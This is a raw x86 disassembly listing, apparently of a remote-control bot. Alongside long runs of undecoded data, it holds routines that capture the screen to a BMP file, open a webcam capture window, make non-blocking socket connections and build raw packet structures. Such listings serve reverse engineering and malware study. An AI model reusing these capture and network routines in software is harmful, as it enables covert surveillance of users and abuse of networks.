0FFFFFE6Ch, 80C7A5F3h, 190h, 1, 0FEF0858Dh, 0E850FFFFh dd 737Dh, 858D5059h, 0FFFFFE70h, 0B415FF50h, 50004CAFh dd 0FE6CB58Dh, 0EC81FFFFh, 194h, 8B59656Ah, 0E8A5F3FCh dd 5Fh, 19CC481h, 8D500000h, 0FFFC6C85h, 5EB068FFh, 0E8500043h dd 744Ah, 0C483F633h, 0F875390Ch, 8D562075h, 0FFFC6C85h dd 0F475FFFFh, 70858D50h, 50FFFFFFh, 0FE6CB5FFh, 0FE8FFFFh dd 83FFFF56h, 858D14C4h, 0FFFFFC6Ch, 0D3AE850h, 75FF0000h dd 6F98E8F0h, 5959FFFFh, 7DE89056h, 55022BBBh, 0EC81EC8Bh dd 0CCh, 358B5653h, 4270A8h, 8957DB33h, 0D6FFFC5Dh, 0FF68h dd 6A036A00h, 0F0458902h, 0AFF415FFh, 4589004Ch, 50D6FFF8h dd 741FE8h, 78BF5900h, 57000005h, 16A096Ah, 41BBE8h, 50595900h dd 50D8458Dh, 70BBE8h, 0CC48300h, 5A0BEh, 0EAE89000h, 2B0226C0h dd 0D233F045h, 3E8B9h, 3BF1F700h, 1A085h, 0C2870F00h, 39000001h dd 4CE7281Dh, 6A597500h, 45895810h, 458D50ECh, 0E8505398h dd 707Ch, 8D0CC483h, 8D50EC45h, 0FF509845h, 15FF0875h dd 4CAF18h, 0FF68h, 0E8016A00h, 4150h, 0F505959h, 509E45B6h dd 9D45B60Fh, 45B60F50h, 858D509Ch, 0FFFFFF34h, 42D57068h dd 2FE85000h, 83000073h, 13EB18C4h, 0FF34858Dh, 868FFFFh dd 50004CE1h, 7943E8h, 8D595900h, 0FFFF3485h, 15FF50FFh dd 4CAFB4h, 8BF44589h, 4524A845h, 0C6450C56h, 8910AC45h dd 15FFA845h, 4CAF74h, 0AE458966h, 7345E8h, 45896600h dd 0F4458BB0h, 8BB84589h, 19C85h, 45C76600h, 0C60040B2h dd 0C640B445h, 6606B545h, 89B65D89h, 1BE8BC45h, 66000073h dd 0E8C04589h, 7312h, 0C2458966h, 7309E8h, 0C4458900h dd 7301E8h, 0C8458900h, 66CC458Bh, 6AFF5025h, 0C6500C14h dd 6618CE45h, 66CC4589h, 66C2458Bh, 8B8A4589h, 4589BC45h dd 0A8458D8Ch, 45C76650h, 66787DD0h, 66D25D89h, 66D45D89h dd 28845C7h, 0FD57E800h, 8966FFFFh, 458DB645h, 50286AA8h dd 0FFFD48E8h, 0B8458BFFh, 8910C483h, 0FFFF5485h, 0BC458BFFh dd 58C68h, 58858900h, 88FFFFFFh, 0FFFF5C9Dh, 5D85C6FFh dd 6FFFFFFh, 0D0E8E890h, 89667169h, 0FFFF5E85h, 60858DFFh dd 6AFFFFFFh, 458D5014h, 99E850C0h, 8D00007Ch, 0FFFF7485h dd 8D5057FFh, 0E850D845h, 7C88h, 0FF54858Dh, 9868FFFFh dd 50000005h, 0FFFCE0E8h, 20C483FFh, 0D2458966h, 458D106Ah dd 8D535088h, 5056A845h, 0FFF875FFh, 4CAFD815h, 0FC45FF00h dd 0FFFE20E9h, 0F875FFFFh, 0B00C15FFh, 458B004Ch, 5B5E5FFCh ; --------------------------------------------------------------------------- leave retn ; --------------------------------------------------------------------------- word_4146CE dw 8B55h ; DATA XREF: sub_401ACD+4CBFo dd 14EC81ECh, 8B000004h, 0B8560855h, 85h, 8BC88B57h, 0ECBD8DF2h dd 81FFFFFDh, 214ECh, 8BA5F300h, 0ECB58DC8h, 8BFFFFFDh dd 1082C7FCh, 1000002h, 0F3000000h, 37E8A5h, 0C4810000h dd 214h, 0EC858D50h, 68FFFFFBh, 435EE4h, 7160E850h, 858D0000h dd 0FFFFFBECh, 0A7AE850h, 75FF0000h, 6CD8E8F0h, 0C483FFFFh dd 90006A14h, 2BB8BBE8h, 0EC8B5502h, 254EC81h, 56530000h dd 0FFBBh, 6A535700h, 0FF026A03h, 4CAFF415h, 0FFF88300h dd 75F44589h, 0AC858D1Ah, 68FFFFFDh, 4360D4h, 710CE850h dd 33590000h, 0C9E959FFh, 8D000002h, 46AEC4Dh, 6AFF3351h dd 0C7505702h, 1EC45h, 15FF0000h, 4CAF54h, 75FFF883h, 815FF0Eh dd 50004CAFh, 43608468h, 8D1BEB00h, 0FF500C45h, 4CAFB415h dd 0FFF88300h, 15FF2075h, 4CAF08h, 60406850h, 858D0043h dd 0FFFFFDACh, 70B0E850h, 0C4830000h, 26EE90Ch, 66570000h dd 2DC45C7h, 7415FF00h, 66004CAFh, 8DDE4589h, 90500C45h dd 69CAFFE8h, 0A8358B71h, 89004270h, 0D6FFE045h, 8DF84589h dd 8D500C45h, 0FFFDAC85h, 601468FFh, 0E8500043h, 706Ah dd 390CC483h, 214BDh, 57207500h, 0FDAC858Dh, 0B5FFFFFFh dd 210h, 8C858D50h, 50000001h, 0E80875FFh, 0FFFF522Eh dd 8914C483h, 0D6FFFC7Dh, 33F8452Bh, 3E8B9D2h, 0F1F70000h dd 858DF08Bh, 10Ch, 6F13E850h, 0F03B0000h, 93870F59h, 0BE000001h dd 41Ch, 0FFBB05EBh, 39000000h, 4CE7283Dh, 6A527500h, 45895810h dd 458D50F0h, 0E85057CCh, 6CFCh, 8D0CC483h, 8D50F045h dd 0FF50CC45h, 15FF0875h, 4CAF18h, 0E8016A53h, 3DD4h, 0F505959h dd 50D245B6h, 0D145B60Fh, 45B60F50h, 458D50D0h, 0D57068ACh dd 0E8500042h, 6FB6h, 0EB18C483h, 0AC458D10h, 4CE10868h dd 0CDE85000h, 59000075h, 5C65659h, 4CE308h, 7415FF45h dd 66004CAFh, 4CE30AA3h, 0AC458D00h, 5C76650h, 4CE30Ch dd 89660001h, 4CE30E3Dh, 1005C600h, 80004CE3h, 0E31105C6h dd 6611004Ch, 0E3123D89h, 15FF004Ch, 4CAFB4h, 4CE314A3h dd 0E0458B00h, 4CE318A3h, 8C858D00h, 50000000h, 223D8966h dd 0E8004CE3h, 6E31h, 7559C085h, 6F90E810h, 0B9990000h dd 401h, 0EB52F9F7h, 8C858D0Eh, 50000000h, 6E10E8h, 0FF505900h dd 4CAF7415h, 1EA36600h, 0E8004CE3h, 6F66h, 401B999h, 8680000h dd 0F7000004h, 158966F9h, 4CE31Ch, 0AF7415FFh, 68004Ch dd 66000004h, 4CE320A3h, 6F3CE800h, 0F7990000h, 246852FBh dd 0E8004CE3h, 6BDCh, 8D0CC483h, 106ADC45h, 68565750h dd 4CE308h, 0FFF475FFh, 4CAFD815h, 0FFF88300h, 0A5840Fh dd 45FF0000h, 0EEE890FCh, 2B0226BBh, 0D233F845h, 3E8B9h dd 8BF1F700h, 0C858DD8h, 50000001h, 6D80E8h, 59D83B00h dd 0FE74860Fh, 75FFFFFFh, 0C15FFF4h, 8B004CB0h, 858DFC75h dd 10Ch, 1CF66950h, 0E8000004h, 6D59h, 8BD23359h, 0C1C68BC8h dd 0F1F70AE8h, 5014EEC1h, 0FC75FF56h, 500C458Dh, 435FB068h dd 0AC858D00h, 50FFFFFDh, 6E3DE8h, 18C48300h, 214BD39h dd 20750000h, 0AC858D57h, 0FFFFFFFDh, 210B5h, 858D5000h dd 18Ch, 875FF50h, 0FF5001E8h, 14C483FFh, 0C0335E5Fh, 0FFC3C95Bh dd 0FF56FC75h, 4CAF0815h, 458D5000h, 2468500Ch, 0EB00435Fh db 0ACh byte_414A91 db 55h, 8Bh, 0ECh ; DATA XREF: sub_401ACD+6361o dd 414EC81h, 458B0000h, 0B9575608h, 85h, 0BD8DF08Bh, 0FFFFFDECh dd 80C7A5F3h, 210h, 1, 0FEF0858Dh, 0E850FFFFh, 6CB5h, 858D5059h dd 0FFFFFE70h, 6CA7E850h, 50590000h, 0FDF0858Dh, 0FF50FFFFh dd 4CAFB415h, 47E85000h, 83000001h, 8D500CC4h, 0FFFBEC85h dd 610068FFh, 0E8500043h, 6D8Ah, 0C483F633h, 0F875390Ch dd 8D562075h, 0FFFBEC85h, 0F475FFFFh, 70858D50h, 50FFFFFFh dd 0FDECB5FFh, 4FE8FFFFh, 83FFFF4Fh, 858D14C4h, 0FFFFFBECh dd 67AE850h, 75FF0000h, 68D8E8F0h, 5959FFFFh, 0B4BEE856h dd 5F90022Bh ; --------------------------------------------------------------------------- pop esi push ebp mov ebp, esp sub esp, 210h and dword ptr [ebp-4], 0 cmp dword ptr [ebp+14h], 0 push esi push edi jnz short loc_414B6E push dword ptr [ebp+10h] push dword ptr [ebp+0Ch] push dword ptr [ebp+8] nop call near ptr 71AB3E5Dh jmp loc_414C2A ; --------------------------------------------------------------------------- loc_414B6E: ; CODE XREF: ___:00414B58j mov esi, [ebp+8] push 1 pop edi lea eax, [ebp-8] push eax push 8004667Eh push esi mov [ebp-8], edi nop call near ptr 71AB155Ah push dword ptr [ebp+10h] push dword ptr [ebp+0Ch] push esi call dword_4CAF1C push dword ptr [ebp+14h] lea eax, [ebp-210h] mov [ebp-108h], esi mov [ebp-10Ch], edi push 0 push eax lea eax, [ebp-10Ch] mov [ebp-20Ch], esi push eax lea eax, [esi+1] push eax mov [ebp-210h], edi call dword_4CAF5C test eax, eax jnz short loc_414BD2 or eax, 0FFFFFFFFh jmp short loc_414C2A ; --------------------------------------------------------------------------- loc_414BD2: ; CODE XREF: ___:00414BCBj or edi, 0FFFFFFFFh cmp eax, edi jnz short loc_414BDD loc_414BD9: ; CODE XREF: ___:00414BFDj ; ___:00414C21j mov eax, edi jmp short loc_414C2A ; --------------------------------------------------------------------------- loc_414BDD: ; CODE XREF: ___:00414BD7j lea eax, [ebp-10Ch] push eax push esi call sub_426756 ; --------------------------------------------------------------------------- test eax, eax jnz short loc_414BFF lea eax, [ebp-210h] push eax push esi call sub_426756 ; --------------------------------------------------------------------------- test eax, eax jz short loc_414BD9 loc_414BFF: ; CODE XREF: ___:00414BECj lea eax, [ebp+8] mov dword ptr [ebp+8], 4 push eax lea eax, [ebp-4] push eax push 1007h push 0FFFFh push esi nop call near ptr 71AB4122h cmp eax, edi jz short loc_414BD9 mov eax, [ebp-4] neg eax sbb eax, eax loc_414C2A: ; CODE XREF: ___:00414B69j ; ___:00414BD0j ... pop edi pop esi leave retn ; --------------------------------------------------------------------------- dw 8B55h dd 0CEC81ECh, 53000001h, 16A5756h, 50DB3358h, 0FF685353h dd 6A000000h, 89026A03h, 0E890EC45h, 716A0DADh, 6AEC4D8Dh dd 26A5104h, 98A35053h, 0FF004CE7h, 4CAF5415h, 0A8358B00h dd 0FF004270h, 61E850D6h, 5900006Ch, 196AC033h, 0FF00BD8Dh dd 8959FFFFh, 0FFFEF49Dh, 844D89FFh, 0FEF89D89h, 9D89FFFFh dd 0FFFFFEFCh, 0FF7485C7h, 401FFFFh, 85C70000h, 0FFFFFF78h dd 15h, 0FF7C85C7h, 16FFFFh, 45C70000h, 1780h, 8845C700h dd 35h, 508C45C7h, 0C7000000h, 519045h, 45C70000h, 5894h dd 9845C700h, 6Eh, 719C45C7h, 0C7000000h, 77A045h, 45C70000h dd 87A4h, 0A845C700h, 89h, 8BAC45C7h, 0C7000000h, 8FB045h dd 45C70000h, 1BBB4h, 0B845C700h, 1BDh, 0BC45C7h, 0C7000004h dd 599C045h, 45C70000h, 5DCC4h, 0C845C700h, 6B8h, 0EACC45C7h dd 0C700000Ch, 0D3DD045h, 45C70000h, 1388D4h, 0D845C700h dd 1A0Bh, 40DC45C7h, 0C700001Fh, 1F90E045h, 0ABF30000h dd 0C7F05D89h, 3E445h, 45C70000h, 0BB8E8h, 0FC5D8900h dd 6608458Bh, 0FF6485C7h, 2FFFFh, 0FF688589h, 458BFFFFh dd 5BC8DFCh, 0FFFFFF74h, 5848B66h, 0FFFFFF74h, 7415FF50h dd 53004CAFh, 26A016Ah, 66858966h, 0FFFFFFFFh, 4CAFF415h dd 0E44D8D00h, 51F44589h, 0FF648D8Dh, 106AFFFFh, 7EE85051h dd 83FFFFFDh, 458910C4h, 0F475FFF8h, 0B00C15FFh, 5D39004Ch dd 8B0C75F8h, 78BFC4Dh, 0F40D8489h, 83FFFFFEh, 8304FC45h dd 7C70FC7Dh, 0E79CBF83h, 2C68004Ch, 570042CAh, 6A85E8h dd 0FF595900h, 0F44589D6h, 0FEF4858Dh, 5D89FFFFh, 0F84589FCh dd 452BD6FFh, 0B9D233F4h, 3E8h, 453BF1F7h, 8B45770Ch, 8BF845h dd 1574C33Bh, 2C685750h, 57004361h, 0E8F04589h, 6A46h dd 0EB10C483h, 0FFFF681Ah, 0E8530000h, 3834h, 0FF505959h dd 4CAF7415h, 0C0B70F00h, 0FFF04589h, 4583FC45h, 7D8304F8h dd 0A87C1CFCh, 6853286Ah, 4CE738h, 6717E8h, 0FFFFBE00h dd 5C60000h, 4CE738h, 685645h, 0C6000004h, 4CE74105h, 5C60600h dd 4CE739h, 37E6E808h, 0C4830000h, 15FF5014h, 4CAF74h dd 0A366286Ah, 4CE73Ch, 0AF7415FFh, 0D80004Ch, 4CE740h dd 281D39FFh, 66004CE7h, 4CE73AA3h, 1D896600h, 4CE73Eh dd 0FE681A75h, 6A0000FFh, 37A6E801h, 59590000h, 0C1084D8Bh dd 0CE2310E0h, 0BEBC10Bh, 4CE10868h, 0B415FF00h, 0A3004CAFh dd 4CE744h, 6808458Bh, 4000h, 4CE748A3h, 591D8800h, 0FF004CE7h dd 4CAF7415h, 66535600h, 4CE75AA3h, 3762E800h, 0F88B0000h dd 0E7C15356h, 3756E808h, 0C4830000h, 57F80310h, 0AF7015FFh dd 50A3004Ch, 0A0004CE7h, 4CE758h, 24087D8Bh, 6A500C0Fh dd 0E758A214h, 8B66004Ch, 1D89F045h, 4CE754h, 5E1D8966h dd 66004CE7h, 4CE74EA3h, 743D8900h, 88004CE7h, 4CE7781Dh dd 7905C600h, 6004CE7h, 0AF7415FFh, 0A366004Ch, 4CE77Ah dd 0E74EA166h, 0C766004Ch, 4CE76005h, 89000200h, 4CE7643Dh dd 62A36600h, 89004CE7h, 5EBFC5Dh, 0FFFFBEh, 0FC5D3900h dd 53562F75h, 36CBE8h, 50595900h, 0AF7415FFh, 0A366004Ch dd 4CE74Ch, 4CE744A1h, 0E770A300h, 5C6004Ch, 4CE759h, 541D8902h dd 0EB004CE7h, 0C653561Fh, 4CE75905h, 95E81000h, 59000036h dd 15FF5059h, 4CAF74h, 0A3C0B70Fh, 4CE754h, 3C05FF66h dd 0FF004CE7h, 4CE75005h, 4EA16600h, 6A004CE7h, 4CBE5905h dd 0BF004CE7h, 4CE77Ch, 421D8966h, 66004CE7h, 0E75C1D89h dd 146A004Ch, 38BEA5F3h, 66004CE7h, 4CE762A3h, 25E85600h dd 6AFFFF5Ch, 0E7706820h, 0A366004Ch, 4CE742h, 0FF5C13E8h dd 10C483FFh, 0E75CA366h, 106A004Ch, 4CE76068h, 286A5300h dd 9835FF56h, 0FF004CE7h, 4CAFD815h, 0FC45FF00h, 0FFFC7D81h dd 0F000003h, 0FFFF238Ch, 42E890FFh, 2B0226B5h, 0D233F445h dd 3E8B9h, 3BF1F700h, 0E770C45h, 0E81075FFh, 224BEB3h dd 0FDC2E990h, 5E5FFFFFh, 4CE79CB8h, 0C3C95B00h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4150B4 proc near ; CODE XREF: sub_401ACD+71FFp var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx and [ebp+var_4], 0 push esi push edi mov esi, offset dword_43D130 mov edi, 0B8h loc_4150C8: ; CODE XREF: sub_4150B4+33j cmp byte ptr [esi], 0 jz short loc_4150EB push [ebp+arg_0] push esi call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_4150EB inc [ebp+var_4] add esi, edi cmp esi, offset dword_43DCB0 jl short loc_4150C8 jmp short loc_41512D ; --------------------------------------------------------------------------- loc_4150EB: ; CODE XREF: sub_4150B4+17j ; sub_4150B4+26j mov esi, [ebp+var_4] push ebx imul esi, 0B8h push edi push 0 lea ebx, dword_43D130[esi] push ebx call sub_41B590 push 17h push [ebp+arg_0] push ebx call sub_41B5F0 push 9Fh lea eax, dword_43D148[esi] push [ebp+arg_4] push eax call sub_41B5F0 add esp, 24h inc dword_429230 pop ebx loc_41512D: ; CODE XREF: sub_4150B4+35j mov eax, [ebp+var_4] pop edi pop esi leave retn sub_4150B4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415134 proc near ; CODE XREF: sub_401ACD+28DDp var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 200h push esi push edi push 0 push [ebp+arg_8] push offset dword_436148 push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 14h xor edi, edi mov esi, offset dword_43D130 loc_41515E: ; CODE XREF: sub_415134+72j cmp byte ptr [esi], 0 jz short loc_415199 lea eax, [esi+18h] push eax push esi push edi push offset dword_436134 lea eax, [ebp+var_200] push 200h push eax call sub_41B980 push 1 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 2Ch loc_415199: ; CODE XREF: sub_415134+2Dj add esi, 0B8h inc edi cmp esi, offset dword_43DCB0 jl short loc_41515E pop edi pop esi leave retn sub_415134 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4151AC proc near ; CODE XREF: ___:004015A5p ; ___:00401629p ... var_10 = word ptr -10h var_E = word ptr -0Eh var_A = word ptr -0Ah var_8 = word ptr -8 var_6 = word ptr -6 var_4 = word ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 10h push ebx push esi lea eax, [ebp+var_10] push edi push eax nop call near ptr 27601C7h mov ebx, offset dword_4D2B9C mov edi, 80h mov esi, offset dword_4CEB9C loc_4151CE: ; CODE XREF: sub_4151AC+3Dj cmp byte ptr [ebx], 0 jz short loc_4151E5 push 7Fh lea eax, [ebx+80h] push ebx push eax call sub_41B5F0 add esp, 0Ch loc_4151E5: ; CODE XREF: sub_4151AC+25j sub ebx, edi cmp ebx, esi jge short loc_4151CE movzx eax, [ebp+var_4] push [ebp+arg_0] push eax movzx eax, [ebp+var_6] push eax movzx eax, [ebp+var_8] push eax movzx eax, [ebp+var_10] push eax movzx eax, [ebp+var_A] push eax movzx eax, [ebp+var_E] push eax push offset a_2d_2d4d_2d_2d ; "[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s" push edi push esi call sub_41B980 add esp, 28h pop edi pop esi pop ebx leave retn sub_4151AC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415220 proc near ; CODE XREF: sub_4017ED+F7p ; sub_401ACD:loc_402077p ... var_80 = byte ptr -80h arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch push ebp mov ebp, esp sub esp, 80h lea eax, [ebp+arg_4] push eax lea eax, [ebp+var_80] push [ebp+arg_0] push 80h push eax call sub_41C190 lea eax, [ebp+var_80] push eax call sub_4151AC add esp, 14h leave retn sub_415220 endp ; =============== S U B R O U T I N E ======================================= sub_41524C proc near ; CODE XREF: sub_401ACD+27D4p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h mov eax, offset dword_4CEB9C xor ecx, ecx loc_415253: ; CODE XREF: sub_41524C+13j mov [eax], cl add eax, 80h cmp eax, offset dword_4D2B9C jl short loc_415253 cmp [esp+arg_C], ecx jnz short loc_415281 push ecx push [esp+4+arg_8] push offset dword_436194 push [esp+0Ch+arg_4] push [esp+10h+arg_0] call sub_409A72 add esp, 14h loc_415281: ; CODE XREF: sub_41524C+19j push offset dword_436180 call sub_4151AC pop ecx retn sub_41524C endp ; --------------------------------------------------------------------------- byte_41528D db 55h, 8Bh, 0ECh ; DATA XREF: sub_401ACD+2887o ; --------------------------------------------------------------------------- sub esp, 31Ch mov eax, [ebp+8] push esi push edi push 45h pop ecx mov esi, eax lea edi, [ebp-11Ch] push 1 rep movsd xor edx, edx pop edi cmp [ebp-10h], edx mov dword ptr [ebp-8], 80h mov [ebp-4], edx mov [eax+110h], edi jnz short loc_4152E0 push edx lea eax, [ebp-118h] push dword ptr [ebp-14h] push offset dword_4361C4 push eax push dword ptr [ebp-11Ch] call sub_409A72 add esp, 14h loc_4152E0: ; CODE XREF: ___:004152C0j cmp byte ptr [ebp-98h], 0 jz short loc_415300 lea eax, [ebp-98h] push eax call sub_41B779 test eax, eax pop ecx mov [ebp-4], eax jz short loc_415300 mov [ebp-8], eax loc_415300: ; CODE XREF: ___:004152E7j ; ___:004152FBj and dword ptr [ebp+8], 0 mov esi, offset dword_4CEB9C loc_415309: ; CODE XREF: ___:00415361j mov eax, [ebp+8] cmp eax, [ebp-8] jge short loc_415363 cmp byte ptr [esi], 0 jz short loc_415352 cmp byte ptr [ebp-98h], 0 jz short loc_415338 cmp dword ptr [ebp-4], 0 jnz short loc_415338 lea eax, [ebp-98h] push eax push esi call sub_418086 pop ecx test eax, eax pop ecx jz short loc_415352 loc_415338: ; CODE XREF: ___:0041531Dj ; ___:00415323j push edi lea eax, [ebp-118h] push dword ptr [ebp-14h] push esi push eax push dword ptr [ebp-11Ch] call sub_409A72 add esp, 14h loc_415352: ; CODE XREF: ___:00415314j ; ___:00415336j inc dword ptr [ebp+8] add esi, 80h cmp esi, offset dword_4D2B9C jl short loc_415309 loc_415363: ; CODE XREF: ___:0041530Fj lea eax, [ebp-31Ch] push offset dword_4361A8 push eax call sub_41B886 xor esi, esi pop ecx cmp [ebp-10h], esi pop ecx jnz short loc_41539D push esi lea eax, [ebp-31Ch] push dword ptr [ebp-14h] push eax lea eax, [ebp-118h] push eax push dword ptr [ebp-11Ch] call sub_409A72 add esp, 14h loc_41539D: ; CODE XREF: ___:0041537Bj lea eax, [ebp-31Ch] push eax call sub_4151AC push dword ptr [ebp-18h] call sub_40B412 pop ecx pop ecx push esi ; --------------------------------------------------------------------------- dd 2BAC47E8h, 5E5F9002h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4153BC proc near ; CODE XREF: sub_401ACD+734Fp var_484 = byte ptr -484h var_84 = dword ptr -84h var_80 = dword ptr -80h var_7C = dword ptr -7Ch var_78 = word ptr -78h var_76 = word ptr -76h var_74 = dword ptr -74h var_70 = dword ptr -70h var_6C = dword ptr -6Ch var_68 = dword ptr -68h var_64 = dword ptr -64h var_60 = dword ptr -60h var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = word ptr -4Ch var_4A = word ptr -4Ah var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = word ptr -30h var_2E = dword ptr -2Eh var_2A = word ptr -2Ah var_28 = word ptr -28h var_26 = dword ptr -26h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = byte ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 484h push ebx push esi xor esi, esi push edi push esi push esi push esi push offset aDisplay ; "DISPLAY" call dword_4CAF60 mov edi, eax cmp edi, esi mov [ebp+var_20], edi jz loc_4155F0 push 8 push edi call dword_4CAF7C push 0Ah push edi mov [ebp+var_8], eax call dword_4CAF7C push 0Ch push edi mov [ebp+var_C], eax call dword_4CAF7C cmp eax, 8 mov [ebp+var_10], eax ja short loc_41541E push 18h push edi call dword_4CAF7C mov ebx, 100h jmp short loc_415420 ; --------------------------------------------------------------------------- loc_41541E: ; CODE XREF: sub_4153BC+50j xor ebx, ebx loc_415420: ; CODE XREF: sub_4153BC+60j push edi call dword_4CAFC0 cmp eax, esi mov [ebp+var_4], eax jz loc_4155D5 mov eax, [ebp+var_8] push esi mov [ebp+var_80], eax mov eax, [ebp+var_C] mov [ebp+var_7C], eax mov ax, word ptr [ebp+var_10] mov [ebp+var_76], ax lea eax, [ebp+var_18] push esi push eax lea eax, [ebp+var_84] push 1 push eax push edi mov [ebp+var_84], 28h mov [ebp+var_78], 1 mov [ebp+var_74], esi mov [ebp+var_70], esi mov [ebp+var_6C], esi mov [ebp+var_68], esi mov [ebp+var_64], ebx mov [ebp+var_60], ebx call dword_4CAFB8 cmp eax, esi mov [ebp+var_1C], eax jz loc_4155E0 push eax push [ebp+var_4] call dword_4CAE44 cmp eax, esi jz loc_4155E0 cmp eax, 0FFFFFFFFh jz loc_4155E0 push 0CC0020h push esi push esi push edi push [ebp+var_C] push [ebp+var_8] push esi push esi push [ebp+var_4] call dword_4CAFBC test eax, eax jz loc_4155E0 cmp ebx, esi jz short loc_4154DD lea eax, [ebp+var_484] push eax push ebx push esi push [ebp+var_4] call dword_4CAE98 mov ebx, eax loc_4154DD: ; CODE XREF: sub_4153BC+10Bj mov edi, [ebp+var_10] mov ecx, [ebp+var_8] imul edi, [ebp+var_C] imul edi, ecx mov eax, ebx push esi shr edi, 3 shl eax, 2 mov [ebp+var_8], eax push 80h lea edx, [eax+edi+36h] add eax, 36h push 2 mov [ebp+var_26], eax mov eax, [ebp+var_C] push esi push esi push 40000000h push [ebp+arg_0] mov [ebp+var_50], eax mov ax, word ptr [ebp+var_10] mov [ebp+var_30], 4D42h mov [ebp+var_2E], edx mov [ebp+var_2A], si mov [ebp+var_28], si mov [ebp+var_58], 28h mov [ebp+var_54], ecx mov [ebp+var_4C], 1 mov [ebp+var_4A], ax mov [ebp+var_48], esi mov [ebp+var_44], esi mov [ebp+var_40], esi mov [ebp+var_3C], esi mov [ebp+var_38], ebx mov [ebp+var_34], esi nop call near ptr 26F0809h cmp eax, 0FFFFFFFFh mov [ebp+arg_0], eax jz short loc_4155C0 lea ecx, [ebp+var_14] push esi push ecx lea ecx, [ebp+var_30] push 0Eh push ecx push eax nop call near ptr 26E0000h lea eax, [ebp+var_14] push esi push eax lea eax, [ebp+var_58] push 28h push eax push [ebp+arg_0] nop call near ptr 26E0000h cmp ebx, esi jz short loc_4155A2 lea eax, [ebp+var_14] push esi push eax lea eax, [ebp+var_484] push [ebp+var_8] push eax push [ebp+arg_0] call near ptr 26E0000h nop loc_4155A2: ; CODE XREF: sub_4153BC+1CCj lea eax, [ebp+var_14] push esi push eax push edi push [ebp+var_18] push [ebp+arg_0] nop call near ptr 26E0000h push [ebp+arg_0] nop call near ptr 2651957h push 1 pop esi loc_4155C0: ; CODE XREF: sub_4153BC+1A2j push [ebp+var_1C] call dword_4CAED0 push [ebp+var_4] call dword_4CAE30 mov edi, [ebp+var_20] loc_4155D5: ; CODE XREF: sub_4153BC+70j push edi call dword_4CAE30 mov eax, esi jmp short loc_4155F2 ; --------------------------------------------------------------------------- loc_4155E0: ; CODE XREF: sub_4153BC+C7j ; sub_4153BC+D9j ... push edi call dword_4CAE30 push [ebp+var_4] call dword_4CAE30 loc_4155F0: ; CODE XREF: sub_4153BC+23j xor eax, eax loc_4155F2: ; CODE XREF: sub_4153BC+222j pop edi pop esi pop ebx leave retn sub_4153BC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4155F7 proc near ; CODE XREF: sub_401ACD+7476p var_34 = byte ptr -34h var_20 = dword ptr -20h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 34h push ebx push esi push edi push 1 pop esi xor ebx, ebx push esi push dword_4D2BA0 push 78h push 0A0h push ebx push ebx push 40000000h push offset aWindow ; "Window" call dword_4CAEC4 mov edi, eax cmp edi, ebx mov [ebp+var_4], edi jnz short loc_415635 mov eax, esi jmp loc_4157EB ; --------------------------------------------------------------------------- loc_415635: ; CODE XREF: sub_4155F7+35j push edi call dword_4CAF14 test eax, eax jz short loc_415652 push ebx push [ebp+arg_4] push 40Ah push edi call dword_4CAFD0 jmp short loc_415654 ; --------------------------------------------------------------------------- loc_415652: ; CODE XREF: sub_4155F7+47j xor eax, eax loc_415654: ; CODE XREF: sub_4155F7+59j cmp eax, ebx jnz short loc_41565F loc_415658: ; CODE XREF: sub_4155F7+88j ; sub_4155F7+BCj mov ebx, esi jmp loc_4157E0 ; --------------------------------------------------------------------------- loc_41565F: ; CODE XREF: sub_4155F7+5Fj push edi call dword_4CAF14 test eax, eax jz short loc_41567C lea eax, [ebp+var_34] push eax push 2Ch push 40Eh push edi call dword_4CAFD0 loc_41567C: ; CODE XREF: sub_4155F7+71j cmp [ebp+var_20], ebx jz short loc_415658 push edi call dword_4CAF14 test eax, eax mov edi, 42Ch jz short loc_4156A2 push ebx push ebx push edi push [ebp+var_4] call dword_4CAFD0 mov [ebp+arg_4], eax jmp short loc_4156A5 ; --------------------------------------------------------------------------- loc_4156A2: ; CODE XREF: sub_4155F7+98j mov [ebp+arg_4], ebx loc_4156A5: ; CODE XREF: sub_4155F7+A9j push [ebp+arg_4] call sub_41B4D5 cmp eax, ebx pop ecx mov [ebp+var_8], eax jz short loc_415658 push [ebp+arg_4] call sub_41B4D5 mov esi, eax pop ecx cmp esi, ebx jnz short loc_4156CC push 1 pop ebx jmp loc_4157E0 ; --------------------------------------------------------------------------- loc_4156CC: ; CODE XREF: sub_4155F7+CBj push [ebp+var_4] call dword_4CAF14 test eax, eax jz short loc_4156E9 push [ebp+var_8] push [ebp+arg_4] push edi push [ebp+var_4] call dword_4CAFD0 loc_4156E9: ; CODE XREF: sub_4155F7+E0j push [ebp+arg_4] push [ebp+var_8] push esi call sub_41C310 mov ecx, [ebp+arg_8] add esp, 0Ch cmp ecx, ebx jg short loc_415704 mov ecx, 280h loc_415704: ; 